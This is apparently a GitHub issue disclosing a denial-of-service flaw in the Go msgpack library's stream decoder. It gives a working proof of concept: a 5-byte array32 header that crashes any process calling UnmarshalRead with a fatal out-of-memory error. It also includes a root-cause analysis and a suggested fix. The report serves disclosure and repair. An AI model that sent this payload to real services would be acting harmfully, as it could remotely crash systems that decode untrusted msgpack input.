Skip to content

process-killing OOM from a 5-byte payload in UnmarshalRead #109

Description

@lenny-ts

Summary

Critical denial-of-service in the stream decoder (UnmarshalRead). A 5-byte
msgpack payload triggers a non-recoverable fatal error: out of memory, killing
the entire Go process. Remote, unauthenticated, no large input needed.

Affected: all released versions (v2.x and v3.x, incl. latest v3.2.0 and current main).
The buffer decoder (Unmarshal) is NOT affected (it is properly guarded).

Reproduce (3 steps)

1. Create go.mod:

module poc

go 1.24

require github.com/shamaton/msgpack/v3 v3.2.0

2. Create main.go:

package main

import (
	"bytes"
	"fmt"

	"github.com/shamaton/msgpack/v3"
)

func main() {
	// 5 bytes: msgpack "array32" header with length = 0xffffffff
	payload := []byte{0xdd, 0xff, 0xff, 0xff, 0xff}
	var v []interface{}

	fmt.Println("decoding 5-byte payload:", payload)
	err := msgpack.UnmarshalRead(bytes.NewReader(payload), &v)
	fmt.Println("returned:", err)
}

3. Run (the ulimit just contains the crash locally on Linux):

go mod tidy && go build -o demo . && ulimit -v 1048576; ./demo

Observed output (verified on linux/amd64)

decoding 5-byte payload: [221 255 255 255 255]
runtime: out of memory: cannot allocate 68719476736-byte block (3866624 in use)
fatal error: out of memory

Without the ulimit the process is killed by the OS OOM-killer.

Why it happens

The stream decoder never bounds wire lengths before allocating. readSizeN
allocates make([]byte, n) with n taken directly from the wire, and the
array32/map32/str32/bin32/ext32 paths call reflect.MakeSlice/
MakeMapWithSize before reading any data.

  • internal/stream/decoding/read.go:38-49 (readSizeN)
  • call sites: internal/stream/decoding/decoding.go (reflect.MakeSlice),
    slice.go, interface.go, bin.go

The buffer decoder (Unmarshal) DOES guard lengths
(hasRequiredLeastSliceSize in internal/decoding/slice.go:61,
hasRequiredLeastMapSize in internal/decoding/map.go:88) and returns a clean
error for the same payload. The stream decoder has no equivalent guard — this
is the inconsistency.

Amplification:

  • []interface{} -> 64 GB (68719476736 bytes, as observed)
  • []int -> 32 GB
  • str32/bin32/ext32 (e.g. 0xdb ff ff ff ff) -> 4 GB (make([]byte, 4294967296))

Impact

Any service decoding msgpack from untrusted clients with UnmarshalRead
(e.g. io.Reader from a network connection) is remotely killable with a
5-byte request. fatal error: out of memory is not recoverable — the whole
process dies.

Suggested fix

Bound all wire lengths (in readSizeN and the MakeSlice/MakeMapWithSize
call sites) to remaining input size or a configurable maximum, mirroring the
guards already present in the buffer decoder.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions